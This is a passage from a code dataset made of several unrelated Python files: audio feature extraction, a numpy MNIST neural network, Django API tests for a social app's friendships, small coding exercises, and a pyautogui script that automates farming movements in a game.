compression=compression)\n\n\n","repo_name":"boberle/coreference_databases","sub_path":"scripts/corefdb/annotable.py","file_name":"annotable.py","file_ext":"py","file_size_in_byte":9003,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"44"} +{"seq_id":"10437020899","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport wave\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport time\n\nfrom scipy.fftpack import fft\n\ndef read_wav_data(filename):\n '''\n 读取一个wav文件，返回声音信号的时域谱矩阵和播放时间\n '''\n wav = wave.open(filename,\"rb\") # 打开一个wav格式的声音文件流\n num_frame = wav.getnframes() # 获取帧数\n num_channel=wav.getnchannels() # 获取声道数\n framerate=wav.getframerate() # 获取帧速率\n num_sample_width=wav.getsampwidth() # 获取实例的比特宽度，即每一帧的字节数\n str_data = wav.readframes(num_frame) # 读取全部的帧\n wav.close() # 关闭流\n wave_data = np.fromstring(str_data, dtype = np.short) # 将声音文件数据转换为数组矩阵形式\n wave_data.shape = -1, num_channel # 按照声道数将数组整形，单声道时候是一列数组，双声道时候是两列的矩阵\n wave_data = wave_data.T # 将矩阵转置\n #wave_data = wave_data\n return wave_data, framerate\n\nx=np.linspace(0, 400 - 1, 400, dtype = np.int64)\nw = 0.54 - 0.46 * np.cos(2 * np.pi * (x) / (400 - 1) ) # 汉明窗\n\ndef GetFrequencyFeature3(wavsignal, fs):\n if(16000 != fs):\n raise ValueError('[Error] ASRT currently only supports wav audio files with a sampling rate of 16000 Hz, but this audio is ' + str(fs) + ' Hz. ')\n\n # wav波形 加时间窗以及时移10ms\n time_window = 25 # 单位ms\n window_length = fs / 1000 * time_window # 计算窗长度的公式，目前全部为400固定值\n\n wav_arr = np.array(wavsignal)\n #wav_length = len(wavsignal[0])\n wav_length = wav_arr.shape[1]\n\n range0_end = int(len(wavsignal[0])/fs*1000 - time_window) // 10 # 计算循环终止的位置，也就是最终生成的窗数\n data_input = np.zeros((range0_end, 200), dtype = np.float) # 用于存放最终的频率特征数据\n data_line = np.zeros((1, 400), dtype = np.float)\n\n for i in range(0, range0_end):\n p_start = i * 160\n p_end = p_start + 400\n\n data_line = wav_arr[0, p_start:p_end]\n\n data_line = data_line * w # 加窗\n\n data_line = np.abs(fft(data_line)) / wav_length\n\n\n data_input[i]=data_line[0:200] # 设置为400除以2的值（即200）是取一半数据，因为是对称的\n\n #print(data_input.shape)\n data_input = np.log(data_input + 1)\n return data_input\n\ndef wav_show(wave_data, fs): # 显示出来声音波形\n time = np.arange(0, len(wave_data)) * (1.0/fs) # 计算声音的播放时间，单位为秒\n # 画声音波形\n #plt.subplot(211)\n #plt.plot(time, wave_data)\n #plt.subplot(212)\n #plt.plot(time, wave_data[1], c = \"g\")\n #plt.show()\n\n\ndef get_wav_list(filename):\n '''\n 读取一个wav文件列表，返回一个存储该列表的字典类型值\n ps:在数据中专门有几个文件用于存放用于训练、验证和测试的wav文件列表\n '''\n txt_obj=open(filename,'r') # 打开文件并读入\n txt_text=txt_obj.read()\n txt_lines=txt_text.split('\\n') # 文本分割\n dic_filelist={} # 初始化字典\n list_wavmark=[] # 初始化wav列表\n for i in txt_lines:\n if(i!=''):\n txt_l=i.split('\\t')\n dic_filelist[txt_l[0]] = txt_l[1]\n list_wavmark.append(txt_l[0])\n txt_obj.close()\n return dic_filelist,list_wavmark\n\ndef get_wav_symbol(filename):\n '''\n 读取指定数据集中，所有wav文件对应的语音符号\n 返回一个存储符号集的字典类型值\n '''\n txt_obj=open(filename,'r', encoding=\"utf-8\") # 打开文件并读入\n txt_text=txt_obj.read()\n txt_lines=txt_text.split('\\n') # 文本分割\n dic_symbol_list={} # 初始化字典\n list_symbolmark=[] # 初始化symbol列表\n for i in txt_lines:\n if(i!=''):\n txt_l=i.split('\\t')\n dic_symbol_list[txt_l[0]]=txt_l[1]\n list_symbolmark.append(txt_l[0])\n txt_obj.close()\n return dic_symbol_list,list_symbolmark\n\ndef testFreq():\n i = 0\n j = 0\n for root, dirs, _ in os.walk(\"../data/avi/\"):\n for d in dirs:\n for _, _, files in os.walk(root + d):\n for f in files:\n j = j + 1\n if f.split(\".\")[1] == \"wav\":\n wave_data, fs = read_wav_data(\n \"E:\\\\py_project\\\\hk\\\\ASRT_english\\\\data\\\\avi\\\\\" + d + \"\\\\\" + f)\n if fs != 16000:\n i = i + 1\n print(f)\n print(i)\n print(j)\n\nif(__name__=='__main__'):\n # testFreq()\n wave_data, fs = read_wav_data(\"E:\\\\py_project\\\\hk\\\\ASRT_english\\\\data\\\\avi\\\\MU291\\\\MU291_15.wav\")\n # wave_data, fs = read_wav_data(\"../test.wav\")\n wav_show(wave_data[0],fs)\n t0=time.time()\n freimg = GetFrequencyFeature3(wave_data,fs)\n t1=time.time()\n print('time cost:',t1-t0)\n\n freimg = freimg.T\n plt.subplot(111)\n\n plt.imshow(freimg)\n plt.colorbar(cax=None,ax=None,shrink=0.5)\n\n plt.show()\n","repo_name":"psychofu/english","sub_path":"general_function/file_wav.py","file_name":"file_wav.py","file_ext":"py","file_size_in_byte":5067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12396607707","text":"from concurrent.futures.thread import ThreadPoolExecutor\r\n\r\n\r\ndef work(name):\r\n for i in range(10000):\r\n print(f'{name}:{i}')\r\n\r\n\r\nwith ThreadPoolExecutor(16) as t: # 设置线程池，大小一般为CPU核心数的2倍，这里设置的最大线程数为16\r\n for i in range(4):\r\n t.submit(work, f'线程{i}')\r\n","repo_name":"ming-log/FullSpider","sub_path":"1_线程、进程和协程/2_线程池.py","file_name":"2_线程池.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72248460933","text":"'''\n Contest 169\n B - Multiplication 2\n Rakesh Kumar --> 28/11/2020\n'''\n\ndef solve():\n n = int(input())\n arr = list(map(int, input().split()))\n if 0 in arr:\n print(0)\n else:\n r = 1\n for e in arr:\n r *= e\n if r > 10**18:\n r = -1\n break\n print(r)\n\nif __name__ == '__main__':\n solve()\n\n\n","repo_name":"jigjnasu/atcoder","sub_path":"abc169_b.py","file_name":"abc169_b.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"5502008587","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function, division, absolute_import\nfrom bgfiles.http import create_content_disposition\nfrom django.test import SimpleTestCase\n\n\nclass CreateContentDispositionTest(SimpleTestCase):\n\n def test(self):\n header = create_content_disposition('Fußball.pdf')\n self.assertEqual(b'attachment; filename=\"Fuball.pdf\"; filename*=UTF-8\\'\\'Fu%C3%9Fball.pdf', header)\n header = create_content_disposition('Fußball.pdf', attachment=False)\n self.assertEqual(b'inline; filename=\"Fuball.pdf\"; filename*=UTF-8\\'\\'Fu%C3%9Fball.pdf', header)\n header = create_content_disposition(b'Fussball.pdf')\n self.assertEqual(b'attachment; filename=\"Fussball.pdf\"', header)\n header = create_content_disposition(b'Fussball.pdf', attachment=False)\n self.assertEqual(b'inline; filename=\"Fussball.pdf\"', header)\n expected = (b'attachment; filename=\"Leery Jenkins My Man .pdf\"; '\n b'filename*=UTF-8\\'\\'L%C3%A9%C3%ABr%C5%93%C3%B8y%20%20Jenkins%20%20My%20Man%20.pdf')\n self.assertEqual(create_content_disposition('Léërœøy \\\\Jenkins/\"My Man\".pdf'), expected)\n expected = (b'inline; filename=\"Leery Jenkins My Man .pdf\"; '\n b'filename*=UTF-8\\'\\'L%C3%A9%C3%ABr%C5%93%C3%B8y%20%20Jenkins%20%20My%20Man%20.pdf')\n self.assertEqual(create_content_disposition('Léërœøy \\\\Jenkins/\"My Man\".pdf', attachment=False), expected)\n","repo_name":"climapulse/dj-bgfiles","sub_path":"tests/test_http.py","file_name":"test_http.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32665701217","text":"import pyautogui as pyg\r\nimport time as t\r\nimport keyboard\r\nimport numpy as n\r\nimport random as rand\r\nimport win32api, win32con\r\nimport smtplib\r\nimport os\r\n\r\nimport mouse\r\nimport values\r\nimport responce\r\nimport screendetector\r\nimport commands\r\n\r\n#Base Sneaking Speed: 4.3 Blocks\r\n#Base Walking Speed: 1.3 Blocks\r\n#Base Sprinting Speed: 5.6 Blocks\r\n\r\n#Upgraded Sneaking Speed: 4.64400 Blocks\r\n#Upgraded Walking Speed: 1.40400 Blocks\r\n#Upgraded Sprinting Speed: 6.04800 Blocks\r\n\r\nSpeed = 4.644\r\nForward_Blocks = 6\r\nSideways_Blocks = 160\r\n\r\ndef move_up():\r\n screendetector.detect()\r\n select_hoe()\r\n print(\"walking forward...\")\r\n pyg.keyDown('w')\r\n t.sleep(Forward_Blocks / Speed)\r\n pyg.keyUp('w')\r\n commands.setspawn()\r\n screendetector.detect()\r\n\r\ndef move_left():\r\n screendetector.detect()\r\n select_hoe()\r\n print(\"walking to the left...\")\r\n mouse.hold_down()\r\n pyg.keyDown('a')\r\n t.sleep(Sideways_Blocks / Speed)\r\n pyg.keyUp('a')\r\n mouse.release()\r\n values.row_count += 1\r\n responce.printlist()\r\n screendetector.detect()\r\n\r\ndef move_right():\r\n screendetector.detect()\r\n select_hoe()\r\n mouse.hold_down()\r\n print(\"walking to the right...\")\r\n pyg.keyDown('d')\r\n t.sleep(Sideways_Blocks / Speed)\r\n pyg.keyUp('d')\r\n mouse.release()\r\n values.row_count += 1\r\n responce.printlist()\r\n screendetector.detect()\r\n\r\ndef select_hoe():\r\n pyg.press('1')","repo_name":"vicellon/pywizardmoneygang","sub_path":"wizardmoneygang python/movement.py","file_name":"movement.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37966182135","text":"import re\nfrom pathlib import Path\n\nimport setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n\ndef get_version(prop, project):\n project = Path(__file__).parent / project / \"__init__.py\"\n result = re.search(\n r'{}\\s*=\\s*[\\'\"]([^\\'\"]*)[\\'\"]'.format(prop), project.read_text()\n )\n return result.group(1)\n\n\nsetuptools.setup(\n name=\"pedurma\", # Replace with your own username\n version=get_version(\"__version__\", \"pedurma\"),\n author=\"Ngawang Thrinley, Tenzin, Tenzin Kaldan\",\n author_email=\"esukhiadev@gmail.com\",\n description=\"Pedurma Reconstruction functionalities\",\n py_modules=[\"pedurma\"],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n license=\"Apache2\",\n url=\"https://github.com/Esukhia/pedurma\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=[\n \"antx>=0.1.8, <1.0\",\n \"openpecha[transifex]>=0.7.58, <1.0\",\n \"pypandoc>=1.7.2, <2.0\",\n \"pylibyaml>=0.1.0, <1.0\",\n \"python-docx>=0.8.11, <9.0\",\n ],\n python_requires=\">=3.8\",\n tests_require=[\"pytest\"],\n)\n","repo_name":"Esukhia/pedurma","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"33576279848","text":"import numpy as np\nimport random\nimport struct\nimport pickle\nfrom batchnorm import BatchNorm\nimport math\n\n\ndef load_mnist_data(kind):\n '''\n 加载数据集\n :param kind: 加载训练数据还是测试数据\n :return: 打平之后的数据和one hot编码的标签\n '''\n labels_path = '../data/%s-labels-idx1-ubyte' % kind\n images_path = '../data/%s-images-idx3-ubyte' % kind\n with open(labels_path, 'rb') as lbpath:\n struct.unpack('>II', lbpath.read(8))\n labels = np.fromfile(lbpath, dtype=np.uint8)\n with open(images_path, 'rb') as imgpath:\n struct.unpack('>IIII', imgpath.read(16))\n images = np.fromfile(imgpath, dtype=np.uint8).reshape(len(labels), 784)\n\n return images / 255., np.eye(10)[labels]\n\n\ndef sigmoid(z):\n '''\n sigmoid激活函数\n :param z: 神经网络的输出\n :return: z激活之后的值\n '''\n return 1.0 / (1.0 + np.exp(-z))\n\n\ndef sigmoid_prime(z):\n '''\n sigmoid激活函数的导数\n :param z: 神经网络的输出\n :return: 关于z的导数\n '''\n return sigmoid(z) * (1 - sigmoid(z))\n\n\ndef relu(z):\n '''\n relu激活函数\n :param z: 神经网络的输出\n :return: z激活之后的值\n '''\n return np.maximum(0, z)\n\n\ndef relu_prime(z):\n '''\n relu激活函数的导数\n :param z: 神经网络的输出\n :return: 关于z的导数\n '''\n z_ = np.copy(z)\n z_[z > 0] = 1\n z_[z < 0] = 0\n z_[z == 0] = 0.5\n return z_\n\n\ndef leaky_relu(z):\n '''\n leaky relu激活函数\n :param z: 神经网络的输出\n :return: z激活之后的值\n '''\n return np.where(z > 0, z, z * 0.01)\n\n\ndef leaky_relu_prime(z):\n '''\n leaky relu激活函数的导数\n :param z: 神经网络的输出\n :return: 关于z的导数\n '''\n z_ = np.copy(z)\n z_[z > 0] = 1\n z_[z < 0] = 0.01\n z_[z == 0] = 0.5\n return z_\n\n\ndef mean_squared_loss(z, y_true):\n \"\"\"\n 均方误差损失函数\n :param y_predict: 预测值,shape (N,d)，N为批量样本数\n :param y_true: 真实值\n :return:\n \"\"\"\n # y_predict = sigmoid(z)\n # y_predict = relu(z)\n y_predict = leaky_relu(z)\n loss = np.mean(np.mean(np.square(y_predict - y_true), axis=-1)) # 损失函数值\n # dy = 2 * (y_predict - y_true) * sigmoid_prime(z) / y_true.shape[1] # 损失函数关于网络输出的梯度\n # dy = 2 * (y_predict - y_true) * relu_prime(z) / y_true.shape[1]\n dy = 2 * (y_predict - y_true) * leaky_relu_prime(z) / y_true.shape[1]\n return loss, dy\n\n\ndef cross_entropy_loss(y_predict, y_true):\n \"\"\"\n 交叉熵损失函数\n :param y_predict: 预测值,shape (N,d)，N为批量样本数\n :param y_true: 真实值,shape(N,d)\n :return:\n \"\"\"\n y_exp = np.exp(y_predict)\n y_probability = y_exp / np.sum(y_exp, axis=-1, keepdims=True)\n loss = np.mean(np.sum(-y_true * np.log(y_probability), axis=-1)) # 损失函数\n dy = y_probability - y_true\n return loss, dy\n\n\nclass MLP_Net:\n def __init__(self, sizes, loss_type='mse'):\n self.sizes = sizes\n self.num_layers = len(sizes)\n weights_scale = 0.01\n self.weights = [np.random.randn(ch1, ch2) * weights_scale for ch1, ch2 in zip(sizes[:-1], sizes[1:])]\n self.biases = [np.random.randn(1, ch) * weights_scale for ch in sizes[1:]]\n # self.weights = [np.zeros((ch1, ch2)) * weights_scale for ch1, ch2 in zip(sizes[:-1], sizes[1:])]\n # self.biases = [np.zeros((1, ch)) * weights_scale for ch in sizes[1:]]\n # with open('../weights.pkl', 'rb') as f:\n # weights = pickle.load(f)\n # with open('../biases.pkl', 'rb') as f:\n # biases = pickle.load(f)\n # self.weights = [w.T for w in weights]\n # self.biases = [b.T for b in biases]\n self.X = None\n self.Z = None\n\n self.loss_type = loss_type\n self.drop_ratio = 1\n self.normalise = False\n self.dropout_X = None\n self.training = True\n\n self.norm_layers = [BatchNorm(shape=784, requires_grad=False, affine=False)]\n for size in self.sizes[1: -1]:\n self.norm_layers.append(BatchNorm(size))\n\n def forward(self, x):\n if self.normalise is True:\n x = self.norm_layers[0].forward(x)\n self.X = [x]\n self.dropout_X = []\n self.Z = []\n for layer_idx, (b, w) in enumerate(zip(self.biases, self.weights)):\n z = np.dot(x, w) + b\n if self.normalise is True and layer_idx < self.num_layers - 2 and self.training is True:\n # 前向过程的Batch Normalization\n self.norm_layers[layer_idx + 1].is_test = not self.training\n z = self.norm_layers[layer_idx + 1].forward(z)\n\n if self.drop_ratio != 1 and self.training is True:\n # 前向过程的dropout\n self.dropout_X.append(np.random.rand(z.shape[0], z.shape[1]) <= self.drop_ratio)\n z *= self.dropout_X[-1]\n z /= self.drop_ratio\n # x = sigmoid(z)\n # x = relu(z)\n x = leaky_relu(z)\n self.X.append(x)\n self.Z.append(z)\n return self.X[-1]\n\n def backward(self, y):\n dw = [np.zeros(w.shape) for w in self.weights]\n db = [np.zeros(b.shape) for b in self.biases]\n if self.loss_type == 'mse':\n loss, delta = mean_squared_loss(self.Z[-1], y)\n else:\n loss, delta = cross_entropy_loss(self.Z[-1], y)\n batch_size = len(y)\n for l in range(self.num_layers - 2, -1, -1):\n x = self.X[l]\n\n if self.drop_ratio != 1 and self.training is True:\n # 反向过程的dropout\n delta *= self.dropout_X[l]\n delta /= self.drop_ratio\n db[l] = np.sum(delta, axis=0) / (batch_size)\n dw[l] = np.dot(x.T, delta) / batch_size\n\n if l > 0:\n # delta = np.dot(delta, self.weights[l].T) * sigmoid_prime(self.Z[l - 1])\n # delta = np.dot(delta, self.weights[l].T) * relu_prime(self.Z[l - 1])\n delta = np.dot(delta, self.weights[l].T) * leaky_relu_prime(self.Z[l - 1])\n if self.normalise is True and self.training is True:\n # 后向过程的Batch Normalization\n self.norm_layers[l].backward(delta)\n return dw, db\n\n def update_para(self, dw, db, lr, l1=0, l2=0):\n if l1 != 0:\n # L1范数正则化\n self.weights = [w - lr * (nabla + l1 * np.sign(w)) for w, nabla in zip(self.weights, dw)]\n self.biases = [b - lr * nabla for b, nabla in zip(self.biases, db)]\n elif l2 != 0:\n # L2范数正则化\n self.weights = [w - lr * (nabla + l2 * w) for w, nabla in zip(self.weights, dw)]\n self.biases = [b - lr * nabla for b, nabla in zip(self.biases, db)]\n else:\n # 不进行正则化\n self.weights = [w - lr * nabla for w, nabla in zip(self.weights, dw)]\n self.biases = [b - lr * nabla for b, nabla in zip(self.biases, db)]\n\n\ndef plot_trainning(order1, order2, img_name):\n '''\n 画出训练过程的对比图\n :param order1: 第一种网络结构\n :param order2: 第二种网络结构\n :param img_name: 图片名称\n :return:\n '''\n with open(order1, 'rb') as f1, open(order2, 'rb') as f2:\n accs1 = pickle.load(f1)\n accs2 = pickle.load(f2)\n\n import matplotlib.pyplot as plt\n plt.figure()\n # x = [str(i) for i in range(1, len(accs1) + 1)]\n x = [i for i in range(1, len(accs1) + 1)]\n plt.plot(x, accs1, label=order1)\n plt.plot(x, accs2, label=order2)\n plt.legend()\n # plt.ylim((0, 1))\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy')\n plt.savefig(img_name)\n\n\ndef plot_single_training(order, img_name='best_acc.png'):\n '''\n 画出最优参数下的训练过程\n :param order:\n :param img_name:\n :return:\n '''\n with open(order, 'rb') as f1:\n accs = pickle.load(f1)\n import matplotlib.pyplot as plt\n plt.figure()\n x = [i for i in range(1, len(accs) + 1)]\n plt.plot(x, accs)\n # plt.legend()\n # plt.ylim((0, 1))\n plt.xlabel('Epochs')\n plt.ylabel('Accuracy')\n plt.savefig(img_name)\n\n\ndef train(net, train_images, train_labels, test_images, test_labels, epochs=1000, lr=0.1, l2=0, batch_size=128, l1=0, orders='first', gamma=1, step_size=0):\n lr0 = lr\n n_test = len(test_labels)\n n = len(train_images)\n accs = []\n for epoch in range(epochs):\n net.training = True\n for batch_index in range(0, n, batch_size):\n lower_range = batch_index\n upper_range = batch_index + batch_size\n if upper_range > n:\n upper_range = n\n train_x = train_images[lower_range: upper_range, :]\n train_y = train_labels[lower_range: upper_range]\n net.forward(train_x)\n dw, db = net.backward(train_y)\n net.update_para(dw, db, lr, l1=l1, l2=l2)\n print(lr, end='\\t')\n if step_size != 0:\n # 阶梯式衰减\n if (epoch + 1) % step_size == 0:\n lr *= gamma\n elif gamma != 1:\n # 指数衰减\n lr = math.pow(gamma, epoch) * lr0\n acc = evaluate(net, test_images, test_labels)\n accs.append(acc / 10000.0)\n print('Epoch {0}: {1} / {2}'.format(epoch, acc / 10000.0, n_test))\n with open(orders, 'wb') as f:\n pickle.dump(accs, f)\n plot_single_training(orders)\n # plot_trainning(accs)\n\n\ndef evaluate(net, test_images, test_labels):\n net.training = False\n result = []\n n = len(test_images)\n for batch_indx in range(0, n, 128):\n lower_range = batch_indx\n upper_range = batch_indx + 128\n if upper_range > n:\n upper_range = n\n test_x = test_images[lower_range: upper_range, :]\n result.extend(np.argmax(net.forward(test_x), axis=1))\n correct = sum(int(pred == y) for pred, y in zip(result, test_labels))\n return correct\n\n\ndef main():\n train_images, train_labels = load_mnist_data(kind='train')\n test_images, test_labels = load_mnist_data('t10k')\n test_labels = np.argmax(test_labels, axis=1)\n net = MLP_Net([784, 1024, 64, 10], 'ce')\n orders1 = 'no_regular'\n train(net, train_images, train_labels, test_images, test_labels, epochs=100, orders=orders1, batch_size=64, lr=0.3, gamma=0.5, step_size=30)\n\n\nif __name__ == '__main__':\n np.random.seed(1)\n main()\n\n","repo_name":"wangsenouc/homework","sub_path":"numpy手写神经网络/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10546,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"44"} +{"seq_id":"31633029140","text":"from filaTAD import Fila\n\ndef filaCres(fila1,fila2):\n fila3 = Fila()\n \n while not fila1.vazia() and not fila2.vazia():\n if fila1.cabeca.dado <= fila2.cabeca.dado:\n fila3.insere(fila1.remove())\n elif fila2.cabeca.dado < fila1.cabeca.dado:\n fila3.insere(fila2.remove())\n \n while (not fila1.vazia()):\n fila3.insere(fila1.remove())\n \n while (not fila2.vazia()):\n fila3.insere(fila2.remove()) \n \n return fila3\n\nf1 = Fila()\nf2 = Fila()\n \nfor i in range(3):\n f1.insere(input('Digite um valor para a fila 1: '))\n\n \nfor i in range(3):\n f2.insere(input('Digite um valor para a fila 2: '))\n \n \nprint(f1) \nprint(f2) \nprint(f1.cabeca.dado)\nprint(filaCres(f1,f2))","repo_name":"ZeVictor15/python","sub_path":"estrutura-de-dados/fila/ex02.py","file_name":"ex02.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15062919744","text":"while True:\n num = int(input())\n if num == -1:\n break\n\n lst = [1]\n for i in range(2, num // 2 + 1):\n if num % i == 0:\n lst.append(i)\n if sum(lst) == num:\n s = \" + \".join(map(str, lst))\n print(f\"{str(num)} = {s}\")\n else:\n print(f\"{num} is NOT perfect.\")\n","repo_name":"jonejtwojthree/CodingTest","sub_path":"baekjoon/python/약수, 배수와 소수/9506.py","file_name":"9506.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13063453334","text":"from friendships.services import FriendshipService\nfrom gatekeeper.models import GateKeeper\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\nfrom testing.testcases import TestCase\nfrom utils.paginations import EndlessPagination\n\nFOLLOW_URL = '/api/friendships/{}/follow/'\nUNFOLLOW_URL = '/api/friendships/{}/unfollow/'\nFOLLOWERS_URL = '/api/friendships/{}/followers/'\nFOLLOWINGS_URL = '/api/friendships/{}/followings/'\n\n\nclass FriendshipApiTests(TestCase):\n\n def setUp(self):\n super(FriendshipApiTests, self).setUp()\n self.alex = self.create_user(username='alex')\n self.alex_client = APIClient()\n self.alex_client.force_authenticate(self.alex)\n\n self.bob = self.create_user(username='bob')\n self.bob_client = APIClient()\n self.bob_client.force_authenticate(self.bob)\n\n # create followings and followers for bob\n for i in range(2):\n follower = self.create_user('bob_follower{}'.format(i))\n self.create_friendship(from_user=follower, to_user=self.bob)\n for i in range(3):\n following = self.create_user('bob_following{}'.format(i))\n self.create_friendship(from_user=self.bob, to_user=following)\n\n # def test_follow(self):\n # # test in mysql\n # self._test_follow()\n # self.clear_cache()\n # GateKeeper.set_kv('switch_friendship_to_hbase', 'percent', 100)\n # # test in hbase\n # self._test_follow()\n\n def test_follow(self):\n url = FOLLOW_URL.format(self.alex.id)\n\n # 验证需要登录才能 follow 别人\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n # 验证要用 get 来 follow\n response = self.bob_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 验证不可以 follow 自己\n response = self.alex_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n # follow 成功\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n # 重复 follow 静默成功\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(response.data['duplicate'], True)\n # 验证反向关注会创建新的数据\n before_count = FriendshipService.get_following_count(self.alex.id)\n response = self.alex_client.post(FOLLOW_URL.format(self.bob.id))\n after_count = FriendshipService.get_following_count(self.alex.id)\n self.assertEqual(after_count, before_count + 1)\n\n def test_unfollow(self):\n url = UNFOLLOW_URL.format(self.alex.id)\n\n # 验证需要登录才能 unfollow 别人\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n # 验证不能用 get 来 unfollow 别人\n response = self.bob_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 验证不能用 unfollow 自己\n response = self.alex_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n # unfollow 成功\n self.create_friendship(from_user=self.bob, to_user=self.alex)\n before_count = FriendshipService.get_following_count(self.bob.id)\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['deleted'], 1)\n after_count = FriendshipService.get_following_count(self.bob.id)\n self.assertEqual(after_count, before_count - 1)\n\n # 验证未 follow 的情况下 unfollow 静默处理\n before_count = FriendshipService.get_following_count(self.bob.id)\n response = self.bob_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['deleted'], 0) # 未删掉任何数据\n after_count = FriendshipService.get_following_count(self.bob.id)\n self.assertEqual(before_count, after_count)\n\n def test_followings(self):\n url = FOLLOWINGS_URL.format(self.bob.id)\n # 验证不能用 post\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 用 get 成功获取\n response = self.anonymous_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data['results']), 3)\n # 验证按照时间倒序\n ts0 = response.data['results'][0]['created_at']\n ts1 = response.data['results'][1]['created_at']\n ts2 = response.data['results'][2]['created_at']\n self.assertEqual(ts0 > ts1, True)\n self.assertEqual(ts1 > ts2, True)\n self.assertEqual(\n response.data['results'][0]['user']['username'],\n 'bob_following2',\n )\n self.assertEqual(\n response.data['results'][1]['user']['username'],\n 'bob_following1',\n )\n self.assertEqual(\n response.data['results'][2]['user']['username'],\n 'bob_following0',\n )\n\n def test_followers(self):\n url = FOLLOWERS_URL.format(self.bob.id)\n # 验证不能用 post\n response = self.anonymous_client.post(url)\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # 用 get 成功获取\n response = self.anonymous_client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data['results']), 2)\n # 验证按照时间倒序\n ts0 = response.data['results'][0]['created_at']\n ts1 = response.data['results'][1]['created_at']\n self.assertEqual(ts0 > ts1, True)\n self.assertEqual(\n response.data['results'][0]['user']['username'],\n 'bob_follower1',\n )\n self.assertEqual(\n response.data['results'][1]['user']['username'],\n 'bob_follower0',\n )\n\n def test_followers_pagination(self):\n page_size = EndlessPagination.page_size\n friendships = []\n for i in range(page_size * 2):\n follower = self.create_user('alex_follower{}'.format(i))\n friendship = self.create_friendship(from_user=follower, to_user=self.alex)\n friendships.append(friendship)\n if follower.id % 2 == 0:\n self.create_friendship(from_user=self.bob, to_user=follower)\n\n url = FOLLOWERS_URL.format(self.alex.id)\n self._paginate_until_the_end(url, 2, friendships)\n\n # anonymous hasn't followed any users\n response = self.anonymous_client.get(url)\n for result in response.data['results']:\n self.assertEqual(result['has_followed'], False)\n\n # bob has followed users with even id\n response = self.bob_client.get(url)\n for result in response.data['results']:\n has_followed = (result['user']['id'] % 2 == 0)\n self.assertEqual(result['has_followed'], has_followed)\n\n def test_followings_pagination(self):\n page_size = EndlessPagination.page_size\n friendships = []\n for i in range(page_size * 2):\n following = self.create_user('alex_following{}'.format(i))\n friendship = self.create_friendship(from_user=self.alex, to_user=following)\n friendships.append(friendship)\n if following.id % 2 == 0:\n self.create_friendship(from_user=self.bob, to_user=following)\n\n url = FOLLOWINGS_URL.format(self.alex.id)\n self._paginate_until_the_end(url, 2, friendships)\n\n # anonymous hasn't followed any users\n response = self.anonymous_client.get(url)\n for result in response.data['results']:\n self.assertEqual(result['has_followed'], False)\n\n # bob has followed users with even id\n response = self.bob_client.get(url)\n for result in response.data['results']:\n has_followed = (result['user']['id'] % 2 == 0)\n self.assertEqual(result['has_followed'], has_followed)\n\n # alex has followed all her following users\n response = self.alex_client.get(url)\n for result in response.data['results']:\n self.assertEqual(result['has_followed'], True)\n\n # test pull new friendships\n last_created_at = friendships[-1].created_at\n response = self.alex_client.get(url, {'created_at__gt': last_created_at})\n self.assertEqual(response.status_code, 200)\n self.assertEqual(len(response.data['results']), 0)\n\n new_friends = [self.create_user('big_v{}'.format(i)) for i in range(3)]\n new_friendships = []\n for friend in new_friends:\n new_friendships.append(self.create_friendship(from_user=self.alex, to_user=friend))\n response = self.alex_client.get(url, {'created_at__gt': last_created_at})\n self.assertEqual(len(response.data['results']), 3)\n for result, friendship in 